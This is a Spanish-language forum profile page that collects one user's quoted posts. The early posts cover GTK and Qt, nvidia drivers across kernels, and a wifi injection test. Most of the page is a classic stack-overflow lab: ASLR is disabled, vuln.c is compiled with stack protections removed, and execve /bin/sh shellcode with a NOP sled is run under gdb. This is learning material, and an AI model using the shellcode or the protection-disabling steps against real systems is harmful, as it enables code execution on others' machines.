pues yo me acomodo en gnome con gtk, en python se me hizo sencillo, aunque no he usado QT porque casi no me gusta KDE aunque se que no es necesario KDE para usar QT, pero bueno, es solo por preferencia
salu2
salu2
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes MenúCitarNo he entendido del todo lo que quieres decir pero...tu puedes tener 5, 10, 20 kernels instalados, eso da igual. Al instalar un nuevo controlador en el nuevo kernel, el otro dejará de funcionar en el viejo. (No se si me explico bian xD)
CitarSi te refieres a tener dos kernels instalados a la vez y poder arrancar desde cualquiera de ellos disponiendo del módulo de nvidia, simplemente haz un backup de ese módulo (nvidia.o, o nvidia.ko) antes de instalar el driver para el nuevo kernel. Una vez instalado restauras y listo.
CitarY buscaste soporte en el mismo kernel para tu ralink ?
CitarPues claro... cuando tienes un kernel y este es el que estas usando para iniciar tu sistema GNU/Linux, entonces todos los drivers que estes instalando o estes cargando, estaran siendo en una version especifica o aceptable para el kernel que estas cargando, ya que OJO, no para todo siempre tienes que bajar un drivers... o acaso no sabes que es un Kernel ?
Citar18:21:46 Trying broadcast probe requests...
18:21:48 No Answer...
18:21:48 Found 1 AP
18:21:48 Trying directed probe requests...
18:21:48 00:1E:C7:XXXXXXXX - channel: 11 - 'MAXX '
18:21:49 Ping (min/avg/max): 1.662ms/27.221ms/38.121ms Power: -41.72
18:21:49 29/30: 96%
18:21:49 Injection is working!
Citarroot@lainux:/home/the-gazette/Desktop/ex# echo 0 > /proc/sys/kernel/randomize_va_space
root@lainux:/home/the-gazette/Desktop/ex# cat /proc/sys/kernel/randomize_va_space
0
root@lainux:/home/the-gazette/Desktop/ex# exit
exit
the-gazette@lainux:~/Desktop/ex$ gcc -o vuln vuln.c --no-stack-protector -g -z execstack
the-gazette@lainux:~/Desktop/ex$ ./vuln $(perl -e 'print "\x90" x 11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x0c\xf4\xff\xbf"')
the-gazette@lainux:~/Desktop/ex$
Citar(gdb) r AAAA
Starting program: /home/the-gazette/Desktop/ex/vuln AAAA
Breakpoint 1, vuln (buff=0xbffff682 "AAAA") at vuln.c:8
8 strcpy (buffer, buff);
(gdb) x/x buffer
0xbffff40c: 0xb7e9ba75
(gdb) x/x buff
0xbffff682: 0x41414141
Citar(gdb) x/x buffer
0xbffff40c: 0xb7e9ba75
(gdb) x/x buff
0xbffff682: 0x00414141
(gdb)
Citar(gdb) x/x buffer
No symbol table is loaded. Use the "file" command.
(gdb) q
0xbffff904: 0x00000000 <----
0xbffff40c: 0xb7e9ba75 <-----
r $(perl -e 'print "\x90" x 11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x0c\xf4\xff\xbf"') <-----
(gdb) r $(perl -e 'print "\x90" x 15 . "B"x25 . "XXXX"')
Starting program: /home/the-gazette/Desktop/ex/vuln $(perl -e 'print "\x90" x 15 . "B"x25 . "XXXX"')
Program received signal SIGSEGV, Segmentation fault.
0x58585858 in ?? ()
(gdb) r $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "XXXX"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/the-gazette/Desktop/ex/vuln $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "XXXX"')
Program received signal SIGSEGV, Segmentation fault.
0x58585858 in ?? ()
(gdb) br vuln
Breakpoint 1 at 0x80483fa: file vuln.c, line 7.
(gdb) r AAAA
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/the-gazette/Desktop/ex/vuln AAAA
Breakpoint 1, vuln (buff=0xbffff682 "AAAA") at vuln.c:7
7 strcpy (buffer, buff);
(gdb) x/x buffer
0xbffff40c: 0xb7e9ba75
(gdb) x/x buff
0xbffff682: 0x41414141
(gdb) r $(perl -e 'print "\x90" x 11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x0c\xf4\xff\xbf"')
Starting program: /home/the-gazette/Desktop/ex/vuln $(perl -e 'print "\x90" x 11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x0c\xf4\xff\xbf"')
Breakpoint 1, vuln (
buff=0xbffff65e "\220\220\220\220\220\220\220\220\220\220\220\061\300Ph//shh/bin\211\343P\211\342S\211\341\260\v̀\f\364\377\277") at vuln.c:7
7 strcpy (buffer, buff);
(gdb) c
Continuing.
Program exited with code 0334.
(gdb) r AAAA
Starting program: /home/the-gazette/Desktop/ex/vuln AAAA
Breakpoint 1, vuln (buff=0xbffff682 "AAAA") at vuln.c:8
8 strcpy (buffer, buff);
(gdb) x/x buffer
0xbffff40c: 0xb7e9ba75
(gdb) x/x buff
0xbffff682: 0x41414141
Breakpoint 1, vuln (buff=0xbffffb60 "AAA") at vuln.c:7
7 strcpy (buffer, buff);
(gdb) x/x buffer
[b]0xbffff904[/b]: 0x00000000
Breakpoint 1, vuln (buff=0xbffff682 "AAAA") at vuln.c:7
7 strcpy (buffer, buff);
(gdb) x/x buffer
0xbffff40c: 0xb7e9ba75
(gdb)
(gdb) x/x buff
0xbffff682: 0x41414141